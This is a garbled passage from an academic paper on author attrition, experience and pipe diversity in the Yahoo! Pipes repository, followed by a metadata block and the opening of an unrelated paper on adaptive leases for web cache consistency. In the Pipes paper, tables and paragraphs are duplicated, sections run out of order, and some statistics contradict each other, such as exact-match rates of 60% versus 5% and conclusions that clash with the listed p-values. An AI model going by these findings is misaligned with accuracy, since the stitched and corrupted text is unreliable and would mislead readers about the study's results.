contributions have for the author’s awareness of the community? For our analysis we look at four dependent variables: configurability, popularity, and size of the pipes, and diversity (or uniqueness) when compared to pipes created by the author and by the community. Each of these variables is defined in the next section. We manipulate several independent variables related to author experience to uncover trends, including the days of experience an author had when the pipe was created and number of pipes created by an author. B. Study Setup To address the research questions, we conduct an empirical study using artifacts from the Yahoo! Pipes repository. In performing this study, we had three main challenges: obtaining the artifacts, analyzing the artifacts, and measuring the differences (i.e., diversity) among artifacts. In this section, we describe the methods for each of these steps. 1) Artifact Collection: To perform this study we leveraged an infrastructure from a previous study to scrape the Yahoo! Pipes repository for artifacts [15]. Between January and September 2010, we scraped 32,887 pipes created between February 2007 and September 2010 from the Yahoo! Pipes repository. This number corresponds to the set of distinct pipes returned from approximately 50 queries against the repository, each of which returned a maximum of 1,000 pipes. To obtain a representative pool of pipes without restricting the selection based on configuration or structure (since that may impact the effectiveness of this study in terms of measuring diversity among artifacts), we issued queries for pipes that utilized the 50 most popular data sources.¹ 2) Artifact Analysis: Once the artifacts were collected, the next step was to measure different properties of the pipes. The pipe structures are returned from Yahoo!’s servers in JSON format; we were able to reuse parts of the decoding and analysis infrastructure from our previous study [15] and extended it to measure the additional properties needed for this work. Now, we define each of the dependent variables measured for this study: Size: Pipe size is measured in number of modules. In Figure 1, the size of the pipe is four, since it has four modules. Every pipe is required to have an Output module, and so the minimum size is one for a pipe that has no behavior. Among the sample we studied, the maximum size is 287 with an average of 8.2 and a median of 6.0. Configurability: The configurability of a pipe is measured by the number of user-setter modules in a pipe, where a user-setter module allows a user to specify field values at run-time [15]. Configurable modules allow authors to create more general pipes that can serve a variety of purposes. Within the sample, one-third of the pipes have at least one user-setter module. Popularity: The popularity of a pipe is measured in the number of clones; a clone is created when a user creates an exact copy a pipe in the repository for their own purposes. This copy can then be saved and modified by the user, allowing them to reuse their own work or the work of others. The number of clones is reported for each pipe in the repository. Among the sample we studied, over 54% of the pipes had been cloned at least once. Diversity: Due to the size and the limited expressiveness of the Yahoo! Pipes language, we conjectured that there was much similarity among the artifacts in the repository. To assess this conjecture, we defined an ordinal diversity metric to measure the types of differences (i.e., uniqueness) among the artifacts and determine how much novelty exists in the repository as a whole. The diversity metric has eight levels (1 . . . 8) to describe differences between any two pipes in the repository, summarized in Table I. Given two pipes, p₁ and p₂, a low diversity level indicates that p₁ and p₂ are very similar (i.e., there are few differences between the pipes). Higher levels of diversity indicate that p₁ and p₂ are less similar and thus more unique. Level 1 represents pipes that have the same behavior as another pipe in the population, possibly resulting from a clone. Level 2 represents pipes with the same structure in terms of modules, the number of fields per module, and connections, but the parameter values can change, whereas Level 3 represents pipes with the same structure, relaxing all parameter values and counts. Level 4 relaxes the connections between the modules but requires that the module bags (module names and frequencies) are the same, and Level 5 relaxes the frequencies and considers only the set of modules. Level 6 considers the bag of modules based on types (i.e., generator, setter, path-altering, and operator [15]). Level 7 considers only the number of modules, and Level 8 is a catch-all for pipes not clustered in an earlier level (truly unique pipes). The goal was to create a diversity gradient where the lower levels apply to pipes that are very similar, and the higher levels to pipes that are very diverse, with the assumption that differences in field values are less impactful than differences in topology. In summary, levels 1, 2, and 3 consider changes to fields but keep the structures the same. Levels 4 and 5 consider changes to the connections between modules, but utilize the same language features (modules). Levels 6, 7, and 8 represent pipes that are quite different. V. ANALYSIS OF COMMUNITY In this section, we explore how much and how often authors contribute to the repository, and the characteristics of the contributed pipes. RQ1a: Author Attrition From the sample of 32,887 pipes, we found they were created by 20,313 distinct authors. Most authors do not stay active in the community for very long, where activity is measured by the difference between the earliest and latest creation dates on the pipes they contributed. Approximately --- ¹To facilitate replication, the data used in this analysis is available online: http://cse.unl.edu/~kstolee/esem2011/artifacts.html 82% of the authors were active for only one day, and only 13 authors were active for more than three years (maximum was 1,253 days), as shown in Table II. The Duration column indicates the length of time an author was active and the # Authors column indicates how many authors were active for this time duration. As shown, the Yahoo! Pipes community suffers from attrition levels similar to other online communities [17]. **RQ1b: Author Contributions** Contributions are measured in number of pipes, and the average author contributes 1.62 pipes. Among the authors, 15,420 (76%) submitted only one pipe, as shown in Table III. This accounts for 47% of the pipes in the sample. The remaining 24% of the authors are responsible for over 53% of the pipes, following a skewed distribution with a long tail; the most prolific author created 98 pipes. **RQ1c: Artifact Characteristics** We explore the artifact characteristics considering each of the dependent variables: diversity, popularity, configurability, and size. **Diversity:** We create clusters among the pipes in the sample given the diversity metric in Table I. When a pipe matches another pipe at some levels, we say that p is clustered at level l, where l is the minimum of all levels in which a match occurs. If we count the number of pipes that are clustered at level 1, we see that only 1,731 (5.26%) of the pipes out of 32,887 have an exact match elsewhere in the sample, as shown in Table IV. The Diversity Level column indicates the level of diversity, the # Clustered column indicates the number of pipes that were clustered at the given level, and the % of Pipes column identifies the percentage of pipes can be clustered at a given level. Table IV shows that there is much diversity among the pipes in the repository at low levels of abstraction (only 5% of the pipes are clustered at level 1), but not as much diversity at higher levels (nearly 60% of the pipes have a match at level 3, and 89% at level 6). Similar to other repositories of code [19], the Yahoo! Pipes repository is full of duplication at higher levels of abstraction. This high frequency of similarity from a structural perspective may occur because authors can easily copy a pipe for their own usage by cloning; there is little incentive to start from scratch if a user can start with a baseline pipe from another user. **Popularity:** We associate a high number of clones with matches another pipe at some levels (nearly 60% of the pipes have an exact match elsewhere in the sample given the diversity metric in Table I). When a pipe matches another pipe at some levels, we say that p is clustered at level l, where l is the minimum of all levels in which a match occurs. If we count the number of pipes that are clustered at level 1, we see that only 1,731 (5.26%) of the pipes out of 32,887 have an exact match elsewhere in the sample, as shown in Table IV. The Diversity Level column indicates the level of diversity, the # Clustered column indicates the number of pipes that were clustered at the given level, and the % of Pipes column identifies the percentage of pipes can be clustered at a given level. **Configurability:** The average number of user-setting modules across the pipes in the sample is 0.650, with a maximum of 73. Across all the pipes we studied, 33.81% have at least one configurable module. The distribution of configurable modules over pipes is shown in Table VI. The majority of pipes were not made to be configurable. There may be many reasons for this, such as a lack of understanding of the user-setter modules, being unaware of the benefits of generalizability in code, or being unable to configure some modules (e.g., some fields are set using a drop-down box, which cannot be configured at run-time). **Size:** The average size across pipes in the community is 8.2 with a median of 6.0 modules per pipe. The distribution of sizes over pipes is shown in Table VII. We observe that more than two-third of the pipes have between three and For three of the dependent variables, popularity, configurability, and size, one-tailed Mann-Whitney tests where $H_0 : \mu_{\text{few}} \geq \mu_{\text{many}}$ and $\alpha = 0.01$ reveal significant differences. Thus, we reject the null hypotheses; authors who create more pipes have more clones, make their pipes more configurable, and make their pipes larger. Note that for size we reject the null hypothesis even though the means support it; after further inspection we confirmed that this is correct as the mean numbers were caused by a handful of pipes in the “few group” with more than 200 modules that account for its large mean value. For diversity, the null hypothesis is not rejected. This is likely because, within the most prolific authors, some only submit pipes that are very similar to others they have submitted in the past, a phenomenon we will explore further in Section VII. VII. ANALYSIS OF THE MOST PROLIFIC AUTHORS In this analysis, we concentrate on the individual authors and the uniqueness of their contributions, addressing each subpart of RQ3. We chose to consider the most prolific authors since their contributions have a greater impact on the repository. To identify the most prolific authors, we selected authors who had contributed more than 15 artifacts to the repository. This threshold balanced our need to do individual author analysis while having enough samples to generalize across prolific authors. In total, we studied 81 authors (< 1% of the authors in the study), who contributed 2,384 pipes (~7% of the pipes in the study). We have identified three categories of interest for characterizing the participants and their contributions: author activities, author evolution, and author awareness. RQ3a: Author Activities Each pipe submitted by an author represents an activity the author is performing, and the level of diversity of one pipe compared to those created previously by that same author gives an indication of the goal the user had when creating the pipe. To identify such activities, we first perform a rolling cluster analysis over time of the pipes contributed per author. That is, we identify the level at which each pipe is clustered as it is added to the set of pipes created by an author. This produces a graph, like that shown in Figure 2(a). Time on the x-axis represents the number of days since the most recent pipe was submitted, and the diversity levels are on the y-axis. More concretely, the left-most dot represents the level at which the second pipe was clustered, compared to the first. The second left-most dot represents the level at which the third pipe was clustered, when considering the first two pipes. Thus, each subsequent pipe is compared to all those that came before it. For example, in Figure 2(a), we see the third dot at diversity level 7, with an x-axis label of 16. This means that when the fourth pipe was created, it was ### Table VIII <table> <thead> <tr> <th>Characteristic</th> <th>Early (1)</th> <th>Late (2)</th> <th>$H_0$</th> <th>p-value</th> </tr> </thead> <tbody> <tr> <td># of Pipes</td> <td>37.335</td> <td>3.352</td> <td>$\mu_1 &gt; \mu_2$</td> <td>$2.20 * 10^{-16}$</td> </tr> <tr> <td>Diversity</td> <td>4.581</td> <td>4.126</td> <td>$\mu_1 &gt; \mu_2$</td> <td>$2.20 * 10^{-16}$</td> </tr> <tr> <td>Popularity</td> <td>9.254</td> <td>8.795</td> <td>$\mu_1 &gt; \mu_2$</td> <td>$2.20 * 10^{-16}$</td> </tr> <tr> <td>Configurability</td> <td>0.614</td> <td>0.838</td> <td>$\mu_1 &gt; \mu_2$</td> <td>$2.20 * 10^{-16}$</td> </tr> <tr> <td>Size</td> <td>9.587</td> <td>9.352</td> <td>$\mu_1 &gt; \mu_2$</td> <td>$2.20 * 10^{-16}$</td> </tr> </tbody> </table> ### Table IX <table> <thead> <tr> <th>Characteristic</th> <th>Few (1)</th> <th>Many (2)</th> <th>$H_0$</th> <th>p-value</th> </tr> </thead> <tbody> <tr> <td># of Pipes</td> <td>30,503</td> <td>2,384</td> <td></td> <td></td> </tr> <tr> <td>Diversity</td> <td>3.639</td> <td>3.355</td> <td>$\mu_1 &gt; \mu_2$</td> <td>1.000</td> </tr> <tr> <td>Popularity</td> <td>4.302</td> <td>23.250</td> <td>$\mu_1 &gt; \mu_2$</td> <td>$2.20 * 10^{-16}$</td> </tr> <tr> <td>Configurability</td> <td>0.644</td> <td>0.729</td> <td>$\mu_1 &gt; \mu_2$</td> <td>$2.14 * 10^{-11}$</td> </tr> <tr> <td>Size</td> <td>8.194</td> <td>8.136</td> <td>$\mu_1 &gt; \mu_2$</td> <td>0.001799</td> </tr> </tbody> </table> For all the dependent variables, diversity, popularity, configurability, and size, we have conducted a rolling cluster analysis over time of the pipes contributed per author. This analysis reveals significant differences between the sample means. For diversity, the null hypothesis is not rejected, indicating a range of skill levels and investment by the authors. VI. ANALYSIS BASED ON AUTHOR EXPERIENCE We examine differences among pipes that have been created by authors with different levels of experience, measuring experience along two dimensions: the number of days of experience an author had when a pipe was created, and the total number of contributions by an author. We explore differences among the community artifacts by segmenting along these lines, to address each subpart of RQ2. RQ2a: Contributions Based on Experience (time) Approximately 10% of authors submitted a pipe at least one month after submitting their first pipe (Table II). With this threshold in mind, we examine differences in the contributions made early in an author’s experience (i.e., within the first month) versus late in their experience (i.e., after the first month). One month seemed reasonable time period for authors to gain sufficient experience with the environment; the results are shown in Table VIII. For all the dependent variables, diversity, popularity, configurability, and size, authors with more than one month of experience create more pipes have more clones, make their pipes more configurable, and make their pipes larger. Note that for size we reject the null hypothesis even though the means support it; after further inspection we confirmed that this is correct as the mean numbers were caused by a handful of pipes in the “few group” with more than 200 modules that account for its large mean value. For diversity, the null hypothesis is not rejected. This is likely because, within the most prolific authors, some only submit pipes that are very similar to others they have submitted in the past, a phenomenon we will explore further in Section VII. ### Table VIII <table> <thead> <tr> <th>Characteristic</th> <th>Early (1)</th> <th>Late (2)</th> <th>$H_0$</th> <th>p-value</th> </tr> </thead> <tbody> <tr> <td># of Pipes</td> <td>37.335</td> <td>3.352</td> <td>$\mu_1 &gt; \mu_2$</td> <td>$2.20 * 10^{-16}$</td> </tr> <tr> <td>Diversity</td> <td>4.581</td> <td>4.126</td> <td>$\mu_1 &gt; \mu_2$</td> <td>$2.20 * 10^{-16}$</td> </tr> <tr> <td>Popularity</td> <td>9.254</td> <td>8.795</td> <td>$\mu_1 &gt; \mu_2$</td> <td>$2.20 * 10^{-16}$</td> </tr> <tr> <td>Configurability</td> <td>0.614</td> <td>0.838</td> <td>$\mu_1 &gt; \mu_2$</td> <td>$2.20 * 10^{-16}$</td> </tr> <tr> <td>Size</td> <td>9.587</td> <td>9.352</td> <td>$\mu_1 &gt; \mu_2$</td> <td>$2.20 * 10^{-16}$</td> </tr> </tbody> </table> ### Table IX <table> <thead> <tr> <th>Characteristic</th> <th>Few (1)</th> <th>Many (2)</th> <th>$H_0$</th> <th>p-value</th> </tr> </thead> <tbody> <tr> <td># of Pipes</td> <td>30,503</td> <td>2,384</td> <td></td> <td></td> </tr> <tr> <td>Diversity</td> <td>3.639</td> <td>3.355</td> <td>$\mu_1 &gt; \mu_2$</td> <td>1.000</td> </tr> <tr> <td>Popularity</td> <td>4.302</td> <td>23.250</td> <td>$\mu_1 &gt; \mu_2$</td> <td>$2.20 * 10^{-16}$</td> </tr> <tr> <td>Configurability</td> <td>0.644</td> <td>0.729</td> <td>$\mu_1 &gt; \mu_2$</td> <td>$2.14 * 10^{-11}$</td> </tr> <tr> <td>Size</td> <td>8.194</td> <td>8.136</td> <td>$\mu_1 &gt; \mu_2$</td> <td>0.001799</td> </tr> </tbody> </table> clustering at a level 7 compared to those that came before it and was created 16 days after the third pipe. Over one-quarter of the pipes created by a prolific author are highly unique (level 8) compared to the author’s previous contributions. The percentages of pipes clustered within author at each diversity level and averaged across authors are shown in Table I. On average, 32.79% of an author’s pipes are clustered at level 2, the most common level. Clearly from the results, authors tend to submit pipes that are either very similar (levels 1, 2 and 3), or very different (levels 6, 7 and 8) to what they submitted in the past. Based on this observation and further pipe examination, we were able to map these results to two typical author activities. First, project initiation refers to pipes that are drastically different from those pipes an author had created previously. It is likely that the newly submitted pipe has a different purpose than the previous ones. Second, pipe tweaking refers to pipes that are quite similar to those pipes created previously. It is likely that the author created something very similar to a pipe they submitted in the past (e.g., an author changes the filter criteria for the home search in Figure 1, giving a diversity level of 2 or 3, depending on the change). We see that for the average author, 52% of the pipes created represent new initiatives, while 43% represent tweaks. **RQ3b: Author Evolution** As authors gain more experience with the Yahoo! Pipes language, it was expected that they will become more able to regularly create unique pipes, demonstrating increased skills and providing more value to the community. To investigate this conjecture, we perform two analyses. The first estimates a skill level of the author based on their ability to regularly create unique pipes compared to their previous contributions. The second measures the value of author contributions by correlating experience in terms of days with the uniqueness of their pipes compared to other pipes in the community, with the assumption that more unique contributions are more valuable to the community. For the skills analysis, we need to gauge the skill levels of the authors. We use the rolling cluster analysis described for **RQ3a** and calculate the average cluster level for each author to represent the average uniqueness of each pipe an author submitted to the repository, when compared to what they had previously submitted. A high average, like that illustrated in Figure 2(a), indicates an author who regularly submitted distinct pipes, and can be considered a high skills author. A low average, like that shown in Figure 2(b), indicates an author who regularly submitted pipes very similar to those of the past, representing an author with low skills. A medium average indicates an author who submitted pipes with varying uniqueness and has variable skills. Table XI shows the percentages of authors that fall into each of the skill categories, where the first column indicates the range of average cluster values that map to each skill level. Approximately half of the authors are highly skilled submitting pipes that are distinct to the previous ones they submitted. Over 27% of the authors have low skill levels. These authors tend to submit pipes that are very similar to other pipes they have submitted, in essence using the public repository as their own personal repository. They are not able to identify the unique pipes among those they have created and their contributions clutter the repository. The remaining 18% of the authors have variable skills. These authors contribute a variety of pipes, some that are unique, and some that are similar to what they have previously submitted, but do not exhibit a clear pattern high or low. For the value analysis, we assume that more unique pipes are more valuable to the community, and investigate if prolific authors with more experience create more valuable pipes. To do this, we measure the number of days of experience the author had when each pipe was created, and correlate that with diversity against the community. There is a positive correlation ($Spearman’s r = 0.42136$), so it appears that as the most prolific authors gain experience, the pipes they create tend to be more unique (and to a certain extend more configurable as well with Spearman’s $r = 0.30866$). This could indicate that over time, their contributions to the community become more valuable. We explore this relationship further by collapsing across authors and plotting the total number of days an author was active with the average diversity level of all pipes they submitted, shown in Figure 3. Among the prolific authors, there is a clear upward trend between experience and diversity to the community ($Spearman’s r = 0.53694$). **RQ3c: Author Awareness** Authors have different levels of awareness about what they submit and what is available in the public repository. As authors contribute more artifacts to the community, it is expected that their awareness of the community will increase. We study this awareness using the uniqueness of each pipe compared to the author’s previous contributions (local) and the pipes in the community (community). Using the skill levels, we classify the uniqueness for each pipe as high, medium, or low. For each pipe contributed by an author, we look at how the local uniqueness differs from the community uniqueness, and then draw conclusions about their awareness. We observe that authors submit some pipes that are very similar to other pipes they have already submitted (i.e., low local uniqueness, which implies low community uniqueness), so we say these authors have no awareness. Other authors submit some pipes that are very unique compared to what they had done in the past and also very unique compared to the community (i.e., high local and community uniqueness, or medium local and community uniqueness); these authors have community awareness. The average community uniqueness level for the pipes created by the most prolific authors was 3.35, and the average local uniqueness level was 4.39. On average, 50% of the pipes submitted per author represented no awareness, 20% represented local awareness, and 31% represented high awareness, as shown in Table XII. **VIII. DISCUSSION** From the analysis, we have made several general observations about the Yahoo! Pipes community, and these have led to some implications on how to better support the community. **A. Observations** Few authors are responsible for most artifacts. Like with other online communities, Yahoo! Pipes suffers from attrition and the contributions of the participants follow a skewed distribution with a long tail. Most of the participants (>$81\%$) are active for only one day, and only 24% of the participants are responsible for over 53% of the artifacts in the repository. Authors evolve over time. Pipes created early in authors’ careers are significantly less diverse, popular, configurable, and large. This is shown by the significant differences between the groups of pipes when controlling for experience (Table VIII) and by the positive correlation between average clustered level with the community and days active in the community for the most prolific authors (Figure 3). Additionally, author skill level is strongly correlated with the total time an author is active in the community ($Spearman’s r = 0.61111$). These are positive observations for the community, showing that authors are able to grow over time. Authors have varying levels of community awareness. The trend of community awareness among all authors is unclear, as few exact matches in the repository indicates high awareness, but little diversity at higher levels of abstraction indicates low awareness. We observed that most pipes have been cloned. This means that if authors clone a pipe but do not modify it, they delete it or do not share it, possibly indicating some level of community awareness. However, despite the evidence of awareness at low levels of abstraction, there remains much similarity among the artifacts at higher levels of abstraction. We find that 59% of pipes are structurally similar to another in the repository (Table IV), <table> <thead> <tr> <th>Awareness</th> <th>Avg. % of Pipes</th> </tr> </thead> <tbody> <tr> <td>None</td> <td>50.06%</td> </tr> <tr> <td>Local</td> <td>19.20%</td> </tr> <tr> <td>Community</td> <td>30.74%</td> </tr> </tbody> </table> **Table XII** AUTHOR AVERAGE SUBMISSIONS CLASSIFIED BY AWARENESS indicating much duplication in the repository and potentially little community awareness among all authors. Among the most prolific authors, most demonstrate little awareness, but a small minority demonstrate higher awareness. About 43% of pipes submitted by the most prolific authors represent tweaks of a previous pipe they had created and 50% of the most prolific authors tend to submit pipes that have the same structure (if not also the same fields) as their previous pipes (Table XII), suggesting that even the most prolific authors do not have much awareness. Yet for a minority of the most prolific authors (30%), the pipes they create are different from what they have created in the past and different from what already exists in the community (Table XII). Further study is needed to understand what features differentiate authors with high awareness of the community from authors with low awareness. Experienced authors make more configurable pipes. A third of all pipes across the community are configurable (Table VI), and authors with more experience (Table VIII) and who create more pipes (Table IX) tend to make pipes that are significantly more configurable. This indicates that authors with more experience may have a greater interest in serving themselves or the community through their more configurable contributions. Community participants seem interested in utilizing the community knowledge. Most pipes have been cloned, with a minority of pipes having hundreds, if not thousands, of clones (Table V). This indicates that participants are likely interested in building on the expertise of others. B. Implications Authors may need artifact maintenance support. Over one quarter (27%) of the prolific authors were seen to have low skills (Table XI), and over 43% of the author submissions represented tweaks on already-submitted pipes. This indicates that authors may be using the public repository as a private repository to store incremental changes on pipes, and they may benefit from a versioning system. It may also be that authors are unable to configure their pipes or do not know about the configuration options, and so they are forced to create pipes with few deviations from existing pipes. To assess these conjectures, further analysis is needed to see if authors have patterns of progressive “adding” over time. That is, they make several pipes, \( p_1 \ldots p_n \) where \( \text{content}(p_i) \subseteq \text{content}(p_{i+1}) \), and content is measured in terms of fields, modules, and connections. The repository may need moderators. We observed that pipes created by prolific authors are significantly more popular and configurable (Table IX). However, with the number of authors who are only active for a short period of time (Table II), the repository gets cluttered with highly similar and less configurable pipes. An alternative approach might be to notify authors of highly similar, existing pipes. Considering that 70% of the pipes submitted demonstrate no awareness or local awareness (Table XII), a mechanism to alert authors when they are duplicating existing code might reduce the clutter in the repository and support end users in becoming more efficient. Authors may need better search for the repository. Only 5% of the pipes have an exact clone elsewhere in the community, and over 46% have an exact match except for the field values (Table IV). It may be that the high frequency of similarity is a result of an author’s inability to find an appropriate pipe from the clutter in the repository. Authors may need help understanding pipe behavior. Since we observed no correlation between popularity and uniqueness (Spearman’s \( r = 0.06088 \)), it is likely that authors are unable to understand the more unique pipes, cannot find what they need in the repository, or that the highly unique pipes solve a very narrow problem. If the pipes cannot be understood, authors may re-invent the wheel. Perhaps better support is needed to help authors understand the semantics of pipes created by others. One solution might be a \textit{comments} module so authors can annotate their code, or through automatically-generated documentation. Authors may need better development support. Given that approximately 50% the authors are unable to consistently produce unique pipes (Table XI), pipes are not very configurable (33%, Table VI), and most pipes contain unfavorable characteristics (as found in previous studies [15]), there is an implied need for better compositional support to allow authors to create higher quality, more diverse and general pipes. Considering also the high frequency of tweaking (43% of pipes) that is performed by the authors and the high frequency of pipes with similar structures (59%, Table IV), authors would likely benefit from support in composition and design. IX. Threats to Validity A. External In this study, we consider only one domain, that of Yahoo! Pipes. Our results may not generalize to other end-user repositories, but we attempted to structure our analysis in such a way that new diversity metrics and notions of popularity, size, and configurability could be defined for new domains and then the results compared to ours. The sample of pipes we scraped are those that were returned by the Yahoo! search results. Since we do not have control over the search mechanism, these pipes may not be representative of the population. To reduce this threat, we obtained a large sample for analysis. Along these same lines, the observations on individual authors only considered the most prolific authors and the pipes they submitted to the public repository that happen to be within our sample. This does not account for all the pipes created by these authors, nor all the pipes they submitted to the repository. B. Construct In our diversity analysis, we consider only structural similarity, not semantic similarity, which may not accurately measure similarity. Future work is needed to control for this threat. One avenue would be to refactor the pipes to remove some structural variability and re-cluster, or to measure the diversity of data sources as an indication of semantics. C. Internal The most clear internal threat is that all the analysis was done through the lens of a public repository, which offers limited visibility. Other threats are based on our artifact selection criteria. In the author analysis, we selected prolific authors who had more than 15 pipes submitted within our sample. It is possible that this threshold is not optimal. The clone counts were gathered at the time each pipe was scraped from the repository, so the clone values for each pipes were often collected on different days. We use the diversity of pipes to draw conclusions about the skill levels of the authors, with the assumption that the creation of more diverse pipes is an indication of higher skills. However, we do not measure how functional the submitted pipes are, nor can we tell the provenance of any pipe and so the complex structures may not have originated with the submitting author. Another internal threat concerns the correctness of the tools we have developed, including the infrastructure to obtain and analyze the artifacts. While we have developed unit tests for all analyses and manually verified anomalies and interesting points in the data, the threat remains. X. Conclusion In this work, we present an artifact-based analysis of an end-user community, observing how authors grow with time and the impact of different variables such as time and proliferation on the diversity, popularity, size, and configurability of artifacts in the Yahoo! Pipes public repository. Similar to other communities, there is high attrition and the contributions of the participants follow a skewed distribution where few of the authors are responsible for a majority of the artifacts. However, authors who stay active with the community seem to evolve. We have observed that more experienced authors tend to make pipes that are more diverse, popular, large, and configurable than authors with less experience, and that only 30% of the most prolific authors are able to regularly submit pipes that are highly unique compared to the community. From the results of our analysis, we have identified several implications for how end users could be better supported as they interact with Yahoo! Pipes, with the hope that some of these findings can be extended to other end-user languages and communities. Acknowledgment This work was supported by the NSF Graduate Research Fellowship under CFDA#47.076, NSF Award #0915526, and AFOSR Awards #FA9550-10-1-0406 and #FA9550-09-1-0687. References
{"Source-Url": "http://digitalcommons.unl.edu/cgi/viewcontent.cgi?article=1215&context=cseconfwork", "len_cl100k_base": 10688, "olmocr-version": "0.1.53", "pdf-total-pages": 11, "total-fallback-pages": 0, "total-input-tokens": 36435, "total-output-tokens": 11956, "length": "2e13", "weborganizer": {"__label__adult": 0.0003590583801269531, "__label__art_design": 0.00037741661071777344, "__label__crime_law": 0.00024044513702392575, "__label__education_jobs": 0.0037174224853515625, "__label__entertainment": 6.318092346191406e-05, "__label__fashion_beauty": 0.00013017654418945312, "__label__finance_business": 0.00027108192443847656, "__label__food_dining": 0.0002624988555908203, "__label__games": 0.0005087852478027344, "__label__hardware": 0.00045990943908691406, "__label__health": 0.00030684471130371094, "__label__history": 0.00017309188842773438, "__label__home_hobbies": 9.47117805480957e-05, "__label__industrial": 0.00018715858459472656, "__label__literature": 0.00026106834411621094, "__label__politics": 0.0001894235610961914, "__label__religion": 0.00035262107849121094, "__label__science_tech": 0.003963470458984375, "__label__social_life": 0.00024139881134033203, "__label__software": 0.007434844970703125, "__label__software_dev": 0.9794921875, "__label__sports_fitness": 0.0002551078796386719, "__label__transportation": 0.0003056526184082031, "__label__travel": 0.0001558065414428711}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 51195, 0.04221]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 51195, 0.61887]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 51195, 0.9345]], "google_gemma-3-12b-it_contains_pii": [[0, 414, false], [414, 5334, null], [5334, 11144, null], [11144, 15357, null], [15357, 20127, null], [20127, 24144, null], [24144, 31138, null], [31138, 35272, null], [35272, 39617, null], [39617, 45426, null], [45426, 51195, null]], "google_gemma-3-12b-it_is_public_document": [[0, 414, true], [414, 5334, null], [5334, 11144, null], [11144, 15357, null], [15357, 20127, null], [20127, 24144, null], [24144, 31138, null], [31138, 35272, null], [35272, 39617, null], [39617, 45426, null], [45426, 51195, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 51195, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 51195, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 51195, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 51195, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 51195, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 51195, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 51195, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 51195, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 51195, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 51195, null]], "pdf_page_numbers": [[0, 414, 1], [414, 5334, 2], [5334, 11144, 3], [11144, 15357, 4], [15357, 20127, 5], [20127, 24144, 6], [24144, 31138, 7], [31138, 35272, 8], [35272, 39617, 9], [39617, 45426, 10], [45426, 51195, 11]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 51195, 0.16583]]}
olmocr_science_pdfs
2024-12-10
2024-12-10
ec85aaa6e80f01aa38c1fee70e218ce38ad7c104
Adaptive Leases: A Strong Consistency Mechanism for the World Wide Web Venkata Duvvuri, Prashant Shenoy and Renu Tewari† Department of Computer Science, University of Massachusetts, Amherst, MA 01003 dvchandra@yahoo.com, shenoy@cs.umass.edu tewarir@watson.ibm.com Abstract—In this paper, we argue that weak cache consistency mechanisms supported by existing web proxy caches must be augmented by strong consistency mechanisms to support the growing diversity in application requirements. Existing strong consistency mechanisms are not appealing for web environments due to their large state space or control message overhead. We focus on the lease approach that balances these trade-offs and present analytical models and policies for determining the optimal lease duration. We present extensions to the HTTP protocol to incorporate leases and then implement our techniques in the Squid proxy cache and the Apache web server. Our experimental evaluation of the leases approach shows that: (i) our techniques impose modest overheads even for long leases (a lease duration of 1 hour requires state to be maintained for 1030 leases and imposes an per-object overhead of a control message every 33 minutes); (ii) leases yields a 138-425% improvement over existing strong consistency mechanisms; and (iii) the implementation overhead of leases is comparable to existing weak consistency mechanisms. Keywords: web caching, web proxy servers, cache consistency, strong consistency, leases I. INTRODUCTION A. Motivation The growth of the Internet and the World Wide Web has enabled an increasing number of users to access vast amounts of information stored at geographically distributed sites. Due to the growing user population and the non-uniformity of information access, however, popular objects create server and network overload, and thereby significantly increase latency for information access [1]. Proxy caching is one popular approach to alleviate these drawbacks. In a proxy caching architecture, clients request objects from a proxy; the proxy services client requests using locally cached data or by fetching the requested object from the server. By caching frequently accessed objects, a proxy can reduce the load on network links and servers as well as client access latencies. A limitation, however, is that the proxy cache may store stale data. To prevent stale information from being transmitted to clients, a proxy must ensure that locally cached data is consistent with that stored on servers. The exact cache consistency mechanism employed by a proxy depends on the nature of the cached data; not all types of data need the same level of consistency guarantees. For instance, users may be willing to receive slightly outdated versions of objects such as news stories and sports scores but are likely to demand the most up-to-date versions of "critical" objects such as financial information and stock prices. This indicates that a proxy cache will need to provide different consistency guarantees for different types of data. Most proxies deployed in the Internet today provide only weak consistency guarantees [2], [3]. Until recently, most objects stored on web servers were relatively static and changed infrequently. Moreover, this data was accessed primarily by humans using browsers. Since humans can tolerate receiving stale data (and manually correct it using browser reloads), weak cache consistency mechanisms were adequate for this purpose. In contrast, many objects stored on web servers today change frequently and some objects (such as newspapers headlines and stock quotes) are updated every few minutes [4]. Moreover, the web is rapidly evolving from a predominantly read-only information system to a system where collaborative applications (e.g., web bulletin boards) and program-driven agents frequently read as well as write data. Such applications are less tolerant of stale data than humans accessing information using browsers. These trends argue for augmenting the weak consistency mechanisms employed by today’s proxies with those that provide strong consistency guarantees in order to make caching more effective.1 In the absence of such strong consistency guarantees, servers resort to marking data as uncacheable, and thereby reduce the effectiveness of proxy caching. The design of efficient strong cache consistency mechanisms that can coexist with existing weak consistency mechanisms is the subject matter of this paper. Specifically, we propose the adaptive leases mechanism for strong consistency and present techniques to optimally configure adaptive leases. B. Existing Cache Consistency Mechanisms: Benefits and Limitations A cache consistency mechanism that always returns the results of the latest write at the server is said to be strongly consistent. Due to the unbounded message delays in the Internet, no cache consistency mechanism can be strongly consistent in this idealized sense. Hence, we relax our definition to the following: a mechanism that returns data that is never outdated by more than \( t \) time units with the version on the server is said to be strongly consistent, where \( t \) is the server to proxy delay at that instant and \( 0 < t \leq \infty \). Mechanisms that do not satisfy this property (i.e., can return stale data) are said to be weakly consistent. Most existing proxies provide only weak consistency by (i) 1Replacing existing weak consistency mechanisms altogether with 